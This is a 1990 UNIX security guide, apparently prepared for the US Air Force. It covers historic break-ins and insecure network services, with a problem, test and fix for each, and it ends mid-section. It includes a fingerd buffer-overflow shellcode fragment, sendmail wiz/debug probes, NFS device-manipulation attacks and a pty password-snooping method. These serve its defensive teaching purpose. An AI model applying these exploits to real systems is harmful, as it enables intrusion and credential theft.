Security and the UNIX Operating System By: XXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXX June 1990 This document has been authored and researched by XXXXXXXXXXXX under contract to the XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX, Pentagon, Washington DC 20330-6345. Acknowledgements **************** It is desirable to acknowledge the various contributors to this document. This is not easy, given that some of the most fruitful contributors have been penetrators who wish to keep their identities to themselves. Therefore, in respect to their wishes, I would like to just say "thanks to the guys" -- you know who you are. For those who have no desire to remain anonymous, my thanks go to: * Captain Thomas Walker, USAF 7CG LGNC * USAF 7CG DS, The Pentagon * Matt Bishop, Dartmouth College * John S. Caywood, Unisys * David A. Curry, SRI International * Dan Farmer, CERT, Carnegie-Mellon University * Dr. Daniel E. Geer Jr., Massachusetts Institute of Technology * Jim Haynes, University of California Santa Cruz * Dr. Marshall Kirk McKusick, University of California Berkeley * Pat Wood, Pipeline and Associates * The rest of the folks here at the Pentagon that have tolerated me over the last few months Introduction ************ "UNIX was not developed with security, in any realistic sense, in mind; this fact alone guarantees a vast number of holes." -- Dennis Ritchie This document provides an introduction to several aspects of UNIX system security. Most of the information is based on 4.x BSD UNIX and its derivatives. It may or may not directly apply to HQ USAF-LAN hosts or other flavors of the UNIX operating system. Some of the topics being discussed include: * The history of the UNIX security * Famous security breeches * Theoretical avenues for penetration * General principles on system security * Countermeasures History ======= UNIX was developed in the late 1960's at Bell Laboratories. It evolved in an open environment where programmers were encouraged to share information and ideas. Computer security was a matter of trust. This does not mean that UNIX is completely void of security mechanisms. Several reasonable security features are a part of the normal UNIX distribution; however, most vendors distribute the operating system with defaults set in an insecure mode. Historically, there was little need or desire for system security as we know it now. Today, UNIX is used by a large user community that includes groups, unlike programmers, that are more concerned with protecting information rather than sharing it. As the number of UNIX systems increase and networks become common place, the issue of security is becoming increasingly important. More systems, users, and better network connectivity has drastically increased the potential number of penetrators. The Internet Worm ================= On Wednesday evening, November 2, 1988, Cornell graduate student Robert T. Morris, Jr. released his worm into the internet. The worm was intended to spread itself quietly throughout the network by guessing passwords and exploiting bugs in electronic mail and other networking utilities [Haye90]. Although only two types of hardware (Sun-3 and Vax systems) were targeted by the worm's code, it quickly infected, reinfected, and crippled many machines. The worm did not destroy any files, steal information, or embed other destructive software; however, it virtually caused the internet to shutdown for two days. Due to the wide use of the Internet by university, research, and military computers, the worm infected sites containing classified and sensitive data causing widespread concern. Staffers at the Ballistic Research Laboratory initially assumed that the worm was an attack on its systems by foreign intelligence agents. Michael Muuss, who leads the Aberdeen computer systems team, later testified: "We have a history of foreign intelligence activity on our systems ..." [Haye90]. In all, as many as 3000 computers were temporarily disabled. The `New York Times' reported that at Carnegie-Mellon University 80% of the computers were affected; at the University of Wisconsin 66% of the systems were hit. Though no data was destroyed, one industry association estimated total damage in lost work at nearly $100 million. More realistic estimates place the cost as high as $10 million [Haye90]. The worm taught us many important lessons. It caused us to think about the ethics concerning access to computers as well as a forum to test and evaluate the current laws. As a result, in January 1990, a United States District Court found Robert T. Morris, Jr. guilty of charges brought against him under a 1986 federal computer fraud and abuse law. Morris was sentenced in Syracuse Friday May 4, 1990 by Federal Judge Howard Munson to a $10,000 fine, three years of probation, and 400 hours of community service. The Cuckoo's Egg ================ The mystery began August 1986 when Clifford Stoll, a systems manager at the Lawrence Berkeley Laboratory (LBL) in Berkeley, California, learned of an unexplained 75-cent charge for computer time. Someone was surely up to no good -- perhaps even invading America's military networks [Elli90]. He tracked the error down to a user, Hunter, which had no billing address. The fun ensued when Stoll reported his findings and discovered that no one called Hunter had an account at LBL. After receiving a complaint from National Computer Security Center (NCSC) in Maryland, it was determined that an old account had been compromised and was being used to attack other network hosts. Taking this breach of security personally, Stoll requested that his superiors allow him to "nail the bastard" [Stoll89] himself. They gave him three weeks. Stoll dropped all pretense of working at his real job and gave full attention to the intruder [Elli90]. A whole day was spent connecting a series of 50 printers and monitors, one for each of the incoming telephone lines. Now, if the intruder called back, Stoll would have every character typed. The next morning one of the printers ejected over 80 feet of paper recording every command from the intruder's keyboard and every response from the LBL machine. It quickly showed that someone had exploited a flaw in system software and held super-user access for three hours. After a year of tracking the intruder across several networks (eventually involving FBI, CIA, NSA, Air Force Intelligence, and authorities in West Germany), five men in Hannover, West Germany were arrested [Curr90]. On February 15, 1990, after a lengthy trial, the "crackers" were found guilty as charged and sentenced: Peter Carl to two years, Dirk Brzezinski to one year and two months, and Markus Hess to one year and eight months. However, they were each given three years probabation and freed, the sentence to be carried out only if they engage in criminal behavior during that period. Other Break-Ins =============== Many other systems have been compromised in the recent years, with varying levels of publicity. Break-ins have occurred on: * NASA SPAN Network * A worm that penetrated DECNET networks * Several U.S. banking networks * Several Pentagon computers * Three known "spin-offs" of Robert Morris' worm * Scores of Personal Computer viruses Importance of System Security ============================= Security is becoming an increasingly important topic. Hosts from supercomputers to personal computers are being attacked on almost a daily basis. Although there is absolutely no way to make a computer impregnable, this document will hopefully make your system secure from the "hacker-wanna-be". It will discuss both the security features and holes contained within the UNIX operating system, how to find them, and most importantly, how to fix them. Theory ****** "My confession ... " -- Bart Simpson General Principles ================== 1. It may be useful to classify intruders by motive: vandalism, penetration of ordinary accounts, penetration of the super user account, avoidance of charges or quotas, etc. Some intruders are motivated by a desire to take over the system and brag about it, so it is almost immediately known when a penetration has taken place. Others are more subtle and keep their penetration secret. Detecting these requires luck and periodic scanning of the system of oddities. A particularly difficult problem is how to detect when a security violation has taken place, short of stumbling across tracks mistakenly left behind by the violator. 2. As is frequently mentioned, UNIX security seems to suffer because the system was designed for use within a friendly community. As the assumptions change about the hostility of the UNIX environment, the default settings, including the kernel configuration, will have to change. A limited operating system that doesn't allow the users to do much is easier to secure than is UNIX with its many doors and windows. One school of philosophy holds that one should do everything possible to avoid any kernel changes. This may be a good idea if portability is an issue; but, in general, it is necessary to make security changes to the kernel and to give up some possibly useful, but less secure features. In a friendly environment, the system administrator may have a philosophy of securing only what is absolutely necessary. In the hostile environment, the administrator should do the opposite, giving users only those privileges they absolutely must have. 3. The most important thing to remember is that a prepared penetrator needs super user privileges for only a few seconds to install trap doors that will thereafter allow him to become super user at will. These can be very difficult and time-consuming to locate. 4. For serious security, the very existence of a super user is a problem. It is necessary, for instance, to guard against the installation of trap doors by sometime-legitimate super users. This seems to require that a copy of all the system source be kept offline for periodic comparison with online source from which object is recompiled from time to time and compared with the regular resident object. Then there is a need for a procedure to update the offline source when authorized changes have been made. It would probably be a good idea to keep an unchanged offline source too, as a way of determining the total state of changes to the current source code. SCCS or RCS can be used to control changes to the source, but neither is really designed to protect against persons who are devious. 5. In general the intruder can cover his own tracks. Detecting intrusion therefore depends on the intruder neglecting to do so, plus the installation of log-keeping. The existence of log-keeping should be somewhat secret to increase the probability that the intruder will unwittingly reveal his acts and methods. The best log-keeping consists of writing to a hardcopy device so that the intruder cannot erase the log. Sometimes a single slip-up by an intruder will reveal a huge case of previously unsuspected penetration. 6. Security must reside in explicit security mechanisms and not in program logic nor in keeping documentation secret from users. Program logic fails because users can always write a version of the program that doesn't include the security logic. Program logic is of course necessary in those programs which must run with privileges; but, here the protection depends on the inability of an ordinary user to establish or modify such programs. And, of course, it is desirable to keep the system program source from users, since having the source makes penetration that much easier. Still we must assume that the intruder has all the source he wants, since he is clever enough to have written it himself, and in any case may have obtained access to it from a previous penetration or from some other site. 7. A significant local problem may be pressure from users to install imported software, some of which requires super user privileges. Ideally such things would be installed only by a software support analyst and only after a local security analysis or at least after accurately determining exactly what privileges are needed and why. 8. Also the documentation of UNIX programs is generally inadequate; rarely do we know how a program should be properly installed to have just the privileges it needs. In actual cases, the experts often disagree as to the best scheme for protecting a complex set of programs. 9. There are lots of potential penetrators out there. A super user mistake such as setting a protection code incorrectly can be noticed and exploited by somebody, even if it lasts for only a short time. 10. Consider threats from both within and without. In the educational environment most intrusions will come via authorized accounts on the system. Intruders can easily get login names and passwords either legitimately, by borrowing them from some other authorized user, or by guessing passwords. The threat, then, is what a user can do after he is logged on to the system. In the commercial/government environment, it may be relatively more important to defend against intruders who do not know a login name and password. Within the research environment, the attack can come from both ends. 11. Complexity in programs and systems is almost always ill-advised. Complex programs are more likely to have unintended penetration aids than simple programs. The intruders to worry about the most are those who are more clever and devious than the official system maintainers. They certainly exist. 12. UNIX as shipped usually has default protection modes which allow users to read other users' files, harass other users, copy system binary programs, etc. By default the mode should be for privacy, so that naive users are protected from the outset. If vendors would ship systems set up so that they are secure out of the box, many of the intial problems would vanish. Avenues for penetration ======================= 1. If one can remove or disable checks for super user in the kernel so that it will perform for all users or for some specific user operations that should be reserved to the super user. Discover a mistake in the kernel source code that allows penetration. 2. A clever programmer could install additional system call entries into the kernel that perform super user functions for an ordinary user. 3. If the operating system copy on disk is ever writable by an ordinary user, a very clever and careful intruder might patch it to disable protection. He might have his own version of the operating system and install it in place of the official one. The same is, of course, true of any program which runs privileged. 4. If `/dev/kmem' is ever writable by an ordinary user an intruder might patch his own user identification to be that of the super user or patch code to disable protection. 5. If an ordinary user has read permission for a disk special file, he can read any file in that file system. If he has write permission for a disk special file, he can do anything. Note that the user-accessible disk special file inode might be located anywhere, since there can be any number of special file inodes referencing the same device. 6. If an ordinary user can write `/etc/passwd' he can enter a bogus account with super user uid (or any other). In some systems, a damaged or missing `/etc/passwd' file lets anybody log in as super user. 7. Suppose an ordinary user has a program which contains code to change the owner of a file to the super user and turn on the set-uid bit. If the user can induce a super user to run that program, the code will be executed leaving the user with a set-uid root program of his choice. A subtle way to do this is to install the necessary code into a file that a super user might execute unawares, such as a `.cshrc' file, or a program that needs no privileges ordinarily and is frequently run by the super user. Note, in this connection, that the intruder doesn't always have to become super user to install a trap door. If a program is owned by bin and is writable by bin, then a user who can become bin can replace that program and wait for a super user to run it, at which time it installs a trap door as a side effect. Aside from super user, ploys like these can get a user the ability to penetrate any ordinary user's account. I have heard of a trap door installed by a more devious chain of events; the program run by the super user does not directly create the trap door, but modifies some other program which later (i.e. at boot time) installs the trap door. 8. Then there are the obvious physical things, such as a user looking over a super user's shoulder while the latter is typing the password, or a user getting access to the terminal when a super user is called away to the telephone and fails to log out, etc. Also, anyone who can get into the machine room can shut down the system (by just halting the machine) and then reboot it; it will be in super-user state when it comes up. Or the intruder might happen to be in the machine room at the time of a power failure or crash and take advantage of the opportunity. 9. Prepare a tape containing a privileged program. Induce a super user to load the tape into the intruder's account. The `tar' command doesn't let an ordinary user load a setuid program not owned by that user, but it will let a super-user load such a program. 10. Pick away at all privileged programs runnable by ordinary users, looking for holes in program logic that will allow a program to be used for intrusion. Example: interrupt such a program and see what it does, or supply extra arguments, or leave arguments out, or supply illegitimate arguments, or send signals. 11. Install a program in a directory where it will be found in the search path ahead of the usual program. Have it do some side effect and then transfer to the normal program or bomb out with some plausible message. 12. Rather than modifying program source code, an intruder might modify a library subroutine. Then inspection of program source is unlikely to reveal the change; and, every program compiled using the subroutine will include the offending code. 13. Password guessing tends to be easy. Run a program that guesses the login name, the login name spelled backwards, common words and names, local jargon, or items taken from the GECOS field of the password file. By 1988, the technology for guessing passwords by trial seems to have improved greatly. A password guessing program using the dictionary (`/usr/dict/words') will in a few hours typically turn up dozens of passwords. 14. The classical Trojan horse: user writes a program, such as a game, and invites everyone to run it. A hidden side effect of the program is to create a program setuid to the person running the game and located in a directory known to the owner of the game. The program typically is one that forks a shell. So the owner of the game gets the ability to assume the identities of all the people who play the game. 15. There are lots of potential problems with carelessly written setuid programs. `execl()' and `popen()' calls may not execute the intended program unless the full pathname is specified. Vandalism ========= A vandal, trickster, or enthusiastic user could: 1. Use up all free disk space on a logical drive or use up all inodes. 2. Send annoying messages to users at their terminals. I.e. `cat /usr/dict/words > /dev/console' 3. Put on spurious message of the day, replies to gripes, news, etc. Corrupt manuals with incorrect information. Replace programs with phony ones. 4. Lock terminals. This is especially annoying with a port finder because eventually the locked terminal gets disconnected, so the next user to be connected gets an unusable terminal. 5. Destroy files or directories, or change their protection codes so that users can't get to them. 6. Fill the system with unproductive processes. Particularly annoying is the process which keeps spawning new processes and killing old ones so that it is hard to kill the culprit. 7. Changing modes of other users' terminals. In particular, setting speed to zero, which logs the user out. 8. Change the system date/time. Plays havoc with `make' files, `cron', and `at'. Network Security **************** "Returned Mail: " -- Networking introduces a lot of new security problems, especially if it contains single-user workstations. As so often happens, vendors and developers are quick to offer features and functions and worry about security later. This section discusses many issues associated with networking. Network Sniffing ================ - Problem Ethernet hardware allows one to listen to broadcast packets, packets destined for one's own station, and usually all packets. Thus a workstation with Ethernet hardware and software is frequently usable as an "Ethernet monitor". The potential for a mischievous user to intercept passwords and confidential data is obvious. + Solution There is no solution to this problem until manufacturers build Ethernet controllers that cannot monitor all traffic. What we can do that is of some use is to put workstations on different cables from those connecting multi-user machines; and keep different classes of workstations (e.g. administrative) on different cables. The various cables are to be connected via gateways, not bridges. - Problem Broadband local area networks are worse yet, because everything that is sent on the cable is broadcast over the entire network. It is not at all unthinkable that some user could build or modify a modem to monitor network channels other than the one to which he is authorized access. + Solution A partial solution to this problem is to keep the RF cable and modems locked up in cable closets and run only data signals to the users' stations. This is not possible if the users need access to the RF cable, as for Television. Electronic Mail =============== A few years ago, electronic mail (e-mail) was a new thing that was mostly used by computer nerds. Today, if mail is broken on our machines, the secretaries are the first to complain; almost all departmental communication is done by e-mail rather than by telephone, memos, or discussions [Neme89]. Unfortunately, electronic mail provides another cavern for intruders to go spelunking. A couple of flaws were discovered in recent versions of sendmail, which is a complex transport agent interfacing mail programs such as `/bin/mailx' and mail delivery agents like `/usr/lib/uucp/uux'. - Problem There is/was an undocumented feature in `sendmail' which would allow users at remote sites to obtain a privileged shell. * Test $ telnet your hostname 25 Trying 123.123.123.123 ... Connected to Podunk.Edu. Escape character is '^]'. 220 Podunk.Edu Sendmail 4.12/4.7 ready at Thu, 28 May 90 13:28:07 est wiz 200 Please pass, oh mighty wizard quit If you get positive feedback such as the example above, you have a major security hole and should repair it immediately. + Solution Obtain and/or compile a version of `sendmail' which is equivalent to the latest Berkeley Sendmail version (Currently 5.65). - Problem The bug exploited by the internet worm used the debug option on the SMTP (Simple Mail Transfer Protocol) server. This allowed a user to execute a program on a remote machine. * Test $ telnet your hostname 25 Trying 123.123.123.123 ... Connected to Podunk.Edu. Escape character is '^]'. 220 Podunk.Edu Sendmail 4.12/4.7 ready at Thu, 28 May 90 13:28:07 est debug 200 Debug set quit If you get positive feedback such as the example above, you may have a major security hole and should repair it immediately. + Solutions Obtain and/or compile a version of `sendmail' which is equivalent to the latest Berkeley Sendmail version (Currently 5.65). An alternate solution is to use your systems general purpose debugger and actually alter the executable. SAVE A COPY OF IT FIRST, IN CASE YOU MESS UP! This is mildly tricky -- note, some versions of `strings' which we're going to use to find the offset of the string "debug" in the binary print out the offsets in octal, not decimal. Run the following shell line to decide how your version of `strings' works: $ /bin/echo 'abcd' | /usr/ucb/strings -o Note, make sure the eight control 'G's are preserved in this line. If this command results in something like: 0000008 abcd your `strings' command prints out locations in decimal, otherwise it's octal. The patch script for `sendmail'. NOTE, YOUR OFFSETS MAY VARY!! This script assumes that your `strings' command prints out the offsets in decimal. $ strings -o -a /usr/lib/sendmail | egrep debug 0096972 debug $ adb -w /usr/lib/sendmail ?m 0 0xffffffff 0 0t10$d radix=10 base ten 96972?s 96972:debug 96972?w 0 96972:25701=0 If your `strings' command prints out the offsets in octal, change the line "0t10$d" to "0t8$d". - Problem Remote users are able to write to any non-root owned files in the system. Target files for such an attack are users `.rhosts' and other files which could eventually give way to easy access to the host. * Test There is no simple test to perform that will adequately show if your system has this flaw without showing exactly how to exploit the hole. Therefore, you should contact your local security guru. + Solution Obtain and/or compile a version of `sendmail' which is equivalent to the latest Berkeley Sendmail version (Currently 5.65). - Problem Some systems have a default alias called "decode". This alias is used to allow users to mail `uuencoded' documents to "decode" for decoding. It also provided administrators an example of how to set up an alias which gives the mail to a program instead of a real person. * Test $ grep 'decode' your alias file decode: "| uudecode" + Solution Remove the "decode" alias from the aliases file (`/usr/lib/aliases' or `/etc/aliases') and rebuild your aliases database (if required). Refer to your System Administration manual. File Transfer Protocol ====================== `Ftp' is the user interface to the ARPANET File Transfer Protocol. It is used to transfer files from one internet site to another. There are some security issues that need to be resolved when allowing `ftp' access to your host. - Problem Reportedly, `ftpd' was allowing users to read and write files with root privileges. It involves the use of the 'user' command. A password was demanded but despite giving an incorrect password and seemingly being refused access, root privileges were obtained. This bug, however, does assume that the intruder does have access to your computer either through a normal account or your host supports anonymous `ftp'. * Test There is no simple test to perform that will adequately show if your system has this flaw without showing exactly how to exploit the hole. Therefore, you should contact your local security guru. If your version of `ftpd' was obtained before December 1988, you probably have this problem. + Solution Obtain the latest release of the `ftpd' program and install it. - Problem Another problem with older versions of `ftpd' is its implementation of the anonymous `ftp' facility. The daemon fails to do a `chroot()' call; therefore, it allows unknown users to read all world readable files. These files could include `/etc/passwd' which will open up more holes in your security. * Test $ ftp your hostname Connected to Podunk.Edu. 220 Podunk.Edu FTP server (Version 2 Thu Mar 15 16:06:24 EST 1990) ready. Name (Podunk.Edu:(joeuser)): anonymous Password (Podunk.Edu:anonymous): type your name here 331 Guest login ok, send ident as password. 230 Guest login ok, access restrictions apply. ftp> cd /etc 250 CWD command successful. ftp> ls -CF 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls (0 bytes). grouppasswd 226 Transfer complete. 14 bytes received in 0.19 seconds (0.069 Kbytes/s) ftp> bye 221 Goodbye. If only the two files shown above exist, your anonymous `ftp' configuration is probably safe. If in doubt, get the latest version. + Solution Obtain the latest version of `ftpd'. - Problem The Trivial File Transfer Protocol, TFTP, is used on Sun workstations (and others) to allow diskless hosts to boot from the network. Basically, TFTP is a stripped-down version of FTP -- there is no user authentication [Curr90]. Because of the password cracking problem, it is important that sites on networks not allow `tftp' access to just any file, and not have the `/etc/passwd' file accessible via anonymous `ftp'. * Test $ tftp your hostname tftp> get /etc/motd Error code 1: File not found tftp> quit If your version does not respond with `File not found' and instead transfers the file, you should fix or replace your current version of `tftpd'. + Solution Most sites can do without `tftp' altogether; where it is needed the tftp daemon should do a `chroot()' call to a restricted directory. Network File System =================== The Network File System (NFS) is designed to allow several hosts to share files over the network. One of the most common uses of NFS is to allow diskless workstations to be installed in offices while keeping all disk storage in a central location [Curr90]. - Problem NFS is not normally distributed with any of it's security features enabled. This simply means that any host on the Internet or LAN may access your files via NFS, regardless whether you consider them trusted hosts or not. + Solution Fortunately, NFS can be made secure by correctly configuring `/etc/exports' or by using Sun Microsystems Secure NFS. Secure NFS was introduced in SunOS 4.0 and uses a public-key encryption technique to ensure authorized access. - Problem Over NFS, any device which you can open and write to can be truncated into another one. That is it is possible to open, for example, the device /dev/null and use the ftruncate(2) and change it's major and minor numbers so that it becomes another device (like /dev/mem for example). This creates major security problems because it allows any non-privileged user access to and data stored on any device or even write access to kernal memory. The root of the problem if that the vnode ops do not distinguish between open regular files and device types. Thus the system call may be called on any arbitrary device. the new major and minor number for the device are based on what is on the stack. That is that the device characteristics of the vnode are modified instead of the block pointers to the file are what gets zero'd. Here is an example of turning dev null into another console device [trunc is a C program that opens and calls ftruncate on it's first argument] % ls -lg /dev/null /dev/console crwxrwxrwx 1 root staff 3, 2 Sep 17 02:07 /dev/null crw--w---- 1 root wheel 0, 0 Sep 16 20:07 /dev/console % trunc /dev/null 0 % ls -lg /dev/null /dev/console crwxrwxrwx 1 root staff 0, 0 Sep 17 02:07 /dev/null crw--w---- 1 root wheel 0, 0 Sep 16 20:07 /dev/console + Solution ---------- NOTE: This has been fixed in SunOS 4.0.3 and SunOS 386i-4.0.2. The Sun Bug Numbers are 1009825, and 1019206 respectively. - Problem In a nutshell, as root@client, One can mknod devices on a server's file system if it's mounted r/w. I can easily find a world-writable directory to put it in, because I can become any user/group who can write something anywhere, even if "nobody" can't, and make this new directory world-writable. I choose major/minor numbers on the device so that they make sense on the server, not the client, although it is on the client that I'm making it. I then change the mode of the device 666 and go back over to the server and wreak havoc. Two good candidates are /dev/mem or any disk device. + Solution Export file systems read-only. This is obviously unacceptable in most environments, so it is best if you contact your vendor for a fix. A contact at Sun has unofficially reported the following: This appears to be fixed in SunOS 4.1.1 (I don't know whether it worked in previous releases or not). The mknod (as root in a writable nfs mounted directory) fails with ``mknod: not owner.'' I assume that the nfs mknod request requires the filesystem to be mounted with root mapped to 0 for the request to work. = Discussion Sun Microsystems has included security features that allow the system to operate at higher security levels. It was patterned after the National Computer Security Center's C2 classification. These features are optional at installation time and include: * Audit trails * Shadow password file * Data Encryption Standard (DES) capability * Secure NFS Trusted Hosts ============= The concept of a "trusted host" is one of the more convenient features of the Berkeley UNIX networking software suite. This feature allows a host or user to be announced as trusted. Those who are trusted are permitted to do remote logins and remote commands without the requirement of a password. This ability is both a security feature as well as a security hole. hosts.equiv ----------- - Problem `Hosts.equiv' resides in directory `/etc' and contains a list of trusted hosts. When an `rlogin' or `rsh' request from such a host is made, and the initiator of the request is in `/etc/passwd', then no further validity checking is done. That is, `rlogin' does not prompt for a password, and `rsh' completes successfully. So a remote user is "equivalenced" to a local user with the same user ID when the remote user is in `hosts.equiv'. + Solution `Hosts.equiv' should be used with care. ONLY hosts that are secure and trusted should be allowed to appear in this file. Nonlocal hosts should never be trusted. Also, if there are any machines that are located in non-secure areas, you should not trust these hosts. - Problem On Sun systems, `hosts.equiv' is controlled by the Network Information Services (NIS), formerly known as Yellow Pages. As distributed, the default `hosts.equiv' contains: + This tells the system that every known host should be considered a trusted host. This is certainly incorrect and is a major security threat. + Solution A correctly configured `hosts.equiv' should only contain specific host names or carefully constructed netgroup. An example of a properly configured `hosts.equiv': ws1.cs.podunk.edu ws2.cs.podunk.edu - Problem Under SCO UNIX, if you 'rlogin' to the system from a trusted host (one in /etc/hosts.equiv), you can obtain root privileges without a password if your home directory does not exist. It is suspected, though not confirmed, that this is true for any reason the automatic login is forced to fail. Usually rlogind logs the user in directly to his home directory. But if the home directory does not exist it will fail ("Cannot chdir to ..."), and gives a "login:". However whatever is typed here, including root, will succeed without a "password:" required. + Solution Contact your vendor, SCO, for the appropriate fix. .rhosts ------- * Problem The `.rhosts' file has the same format as `hosts.equiv'. When joeuser executes `rlogin' or `rsh', the `.rhosts' file from joeuser's home directory is conceptually concatenated onto the end of `hosts.equiv' for permission checking. It is also possible to have two entries (separated by a single space) on a line of these files. In this case, if the remote host is equivalenced by the first entry, then the user named by the second entry is allowed to log in. An example of this is: ws1.cs.podunk.edu joeuser + Solution Inform users of the proper use of the `.rhosts' facility and insure that only secure hosts are ever listed. = Discussion It has been said that "The only secure way to manage `.rhosts' is to completely disallow them on the system [Curr90]." I find this comment to be totally unfounded. It has been shown that the proper use of the `.rhosts' facility causes very few security incidents and in contrast helps eliminate the network "sniffing" problem. .netrc ------ * Problem The `.netrc' file contains data for logging in to a remote host over the network for file transfers by `ftp'. This file resides in the user's home directory on the machine initiating the file transfer. It contains passwords in plaintext. An example would be: machine ws1.cs.podunk.edu login joeuser password I'mw/7CG * Solution `.Netrc' files should never be used. The only legitimate exception to this is for using anonymous ftp. This would allow you to connect to an anonymous ftp session where the password is only used for identification. The typical "netters" `.netrc' would look like this: machine uunet.uu.net login anonymous password joeuser@podunk.edu machine prep.ai.mit.edu login anonymous password joeuser@podunk.edu machine tut.cis.ohio-state.edu login anonymous password joeuser@podunk.edu machine titan.rice.edu login anonymous password joeuser@podunk.edu machine berkeley.edu login anonymous password joeuser@podunk.edu machine expo.lcs.mit.edu login anonymous password joeuser@podunk.edu machine hq.af.mil login anonymous password joeuser@podunk.edu Other Network Services ====================== RPC, Remote Procedure Call -------------------------- - Problem There is a security problem with most RPC portmapper where anyuser can delete services. This is done by connecting to the RPC portmapper and simply requesting the service be delete. Under SunOS 4.1 and greater this but be done from the localhost, but on SunOS 4.0.3 or less, and on other vendor platforms that use the portmapper, this can be done remotly! The problems this can cause range from deleting services such as rusersd rstatd to (fairly harmless) to effectivly disabling yp or NFS services. Under SunOS 4.1 a console warning/error message is generated and the request is denied if the attack is remote but on other systems the attack is clean (meaning there are no trace logs of message to later trace!). + Solution Contact the vendor for a bug fix. Network Information Services (NIS) ---------------------------------- Network Information Services, formerly known as Yellow Pages, allows many hosts to share password, group, and other administrative files via the network. Unfortunately, NIS also contains a few potential security holes. + Problem Hosts using NIS have a special entry in their `/etc/passwd' file which lets many software packages and utilities know that they need to contact the NIS server. +::0:0::: If for some unknown reason NIS is not running, this entry now means that there is a user named `"+"' which has NO password and has the user ID of zero (which causes him to be super-user). * Test $ egrep '^\+::' /etc/passwd +::0:0::: This quick test found an occurance which means that if you aren't currently running NIS, you have a root login without a password. + Solution Keep a close eye on NIS. Enough said. - Problem There exists a bug in pre-4.0.3 versions of `yppasswdd'. `Yppasswdd(8)' is an optionally run daemon that lets a user change his password over the LAN using Sun's Yellow Pages. The user communicates with the daemon running on the YP server via the client command `yppasswd(1)' which calls the system function `yppasswd(3)'. `Yppasswd(3)' just sends the user's name, old unencrypted password, and a new encrypted password to the YP server via a reserved port. `Ypasswdd(8)' looks up the user's name and verifies the old password, no question asked. But unfortunately, the new encrypted password is not checked for the occurrence of bad characters such as `:' and `\n', and has no limitation on its length which also causes over-long password entries and results in a similar `chfn' attack. + Solution Several things can be done about this. 1) Upgrade the operating system. 2) Don't run Yellow Pages. 3) If you have source code, fix the bug and recompile `yppasswdd(8)'. - Problem When a user runs yppasswd to change the password on an account in the Yellow Pages, the YP passwd map is recreated with mode 666 (world writable). This is a serious security problem. + Solution Add commands to /var/yp/Makefile on the YP master server to set the mode on the /var/yp/DOMAINNAME files for the maps passwd.byname, passwd.byuid, and publickey.byname: chmod 644 $(YPDBDIR)/$(DOM)/MAP.pag $(YPDBDIR)/$(DOM)/MAP.dir;\ Substitute each map name for "MAP" in the above command. Another way is to set a umask for each map. For example: passwd.time: $(DIR)/passwd -@if [ -f $(DIR)/passwd ]; then \ umask 022 ; \ awk 'BEGIN { FS=":"; OFS="\t"; } /^[a-zA-Z0-9_]/ { ... ... - Problem NIS is more than willing to give out the administrative files which it so kindly keeps available. The only catch to this is requests must be made by root. With the number of PC's and single-user workstations around, this is certainly not difficult. + Solution The only solution to this is NOT to run NIS. Hardly a solution, but certainly a fact. Fingerd ------- `Fingerd' is a daemon that provides remote hosts information about users. The information can include: who is currently logged in, a user's full name, and a user's plan/project. - Problem The standard `fingerd' on Berkeley based systems calls a function `gets()' to get an input line for parsing. Because `gets()' does not check the buffer overflow, a shell process will be run by `fingerd' if some specific input is fed to the daemon. As an example, here is the Sun assembler code to feed your friendly daemon: ! First send 340 0x01's to the daemon -- address 0x0efffbe0 ! Next is this 64 byte pattern ! pea0x69696901:l subl#0x1010101,sp@ movlsp,d1 pea0x1010101:l subl#0x1010101,sp@ movld1,sp@- movlsp,d1 pea0x30746901:l subl#0x1010101,sp@ pea0x2f62696e:l movlsp,d6 movld1,sp@- movld1,sp@- movld6,sp@- movld6,sp@- pea0x203b:w ! Really -=> pea 0x3b:w trap#0 ! Follow up by overwriting the return address This bug was exploited by the December 1988 Internet worm on Vax systems. Besides giving unauthorized access, it also gives root privileges because `fingerd' runs as root. * Test If the version of `fingerd' you are running is older than November 1988, you probably need to obtain a newer version. There is no simple test to perform that will adequately show if your system has this flaw without showing exactly how to exploit the hole. Therefore, you should contact your local security guru. + Solution Either do not provide this service or obtain a more recent version of the `fingerd' software (Best answer). Rlogind/Telnetd --------------- These network services allow remote connections to be made to a host. - Problem Login information can be snooped from rlogin and telnet logins. It is primarily in BSD-derived systems, but others may be at risk also. It has been confirmed in SunOS 4.0.3, SunOS 4.1, and Ultrix 4.0. NOTE: Although telnetd/rlogind are networking programs, the bug can only be used by local users. * Test Write a C program that opens a pty slave and blocks until the master side is opened by a telnet (or rlogin) daemon. Read the login name and stuff it back using the TIOCSTI icotl() call, and wait until '/bin/login' has read it. Do the same with password. You now have the users login name and password. + Solution While waiting to obtain an official fix from your vendor, write a program that opens, at regular intervals, the first five (or more) free ptys and immediately closes them. This will generally cause snooper programs to terminate and logging useless information. The SunOS Patch ID is 100125-03. Modems and Terminal Servers =========================== - Problem Suppose the super-user is using the system by telephone, port finder, terminal switch, or Annex box and gets cut off. Later an ordinary user gets connected to the same port and finds he is in the super-user account. Systems are supposed to prevent this, but do they? I have personally seen this happen during a power surge. + Solutions Make sure that modems and such hang up properly, and your system correctly logs off disconnected users. Account Security **************** "A password should be like a toothbrush: Use it everyday; change it regularly; and DON'T share it with friends." -- USENET Compromising someone's personal account is one of the easiest ways for a cracker to penetrate your system. Easy to guess passwords, group and guest accounts, old and unused accounts are the most frequently traveled paths of intruders. These roads must be closed! Passwords ========= Passwords are the most vital part of UNIX system security. If an intruder can get a user's password, he has half the battle won already. If he manages to get the password of a system administrator, three quarters of the battle is won. Obtaining the super-users password ends the war, and the intruder wins. For this reason, selecting a secure password is extremely important. - Problem The standard UNIX `passwd' utility places few restrictions on what a user may use as a password. + Solutions Write a password policy, educate users about the new policy, and enforce it strictly. Acquire a new version of `passwd' that gives administrators tighter control over the types of passwords users may select. - Problem Password files, on occassion, become corrupted. This can be due to a fluke of nature or through user intervention. + Solution Periodically check the password and group files for improper entries or defective lines. Save the password file every night and compare with previous day's file, then examine `diff' listings for bogus accounts. Guest Accounts ============== - Problem Guest accounts present still another security hole. By their nature, these accounts are rarely used, and are always used by people who should only have access to the machine for the short period of time they are guests [Curr90]. + Solution The most secure way to handle guest accounts is to install them on an as-needed basis, and delete them as soon as the people using them leave. Guest accounts should never be given simple passwords such as "guest" or "visitor," and should never be allowed to remain in the password file when they are not being used [Curr90]. Group Accounts ============== A group account is a single account shared by several people. For example, all of the programmers working on project xyzzy. - Problem Since users should not share passwords (See Password Policies for more information) -- the concept of a group account already violates the recommended policy. + Solution Give each user 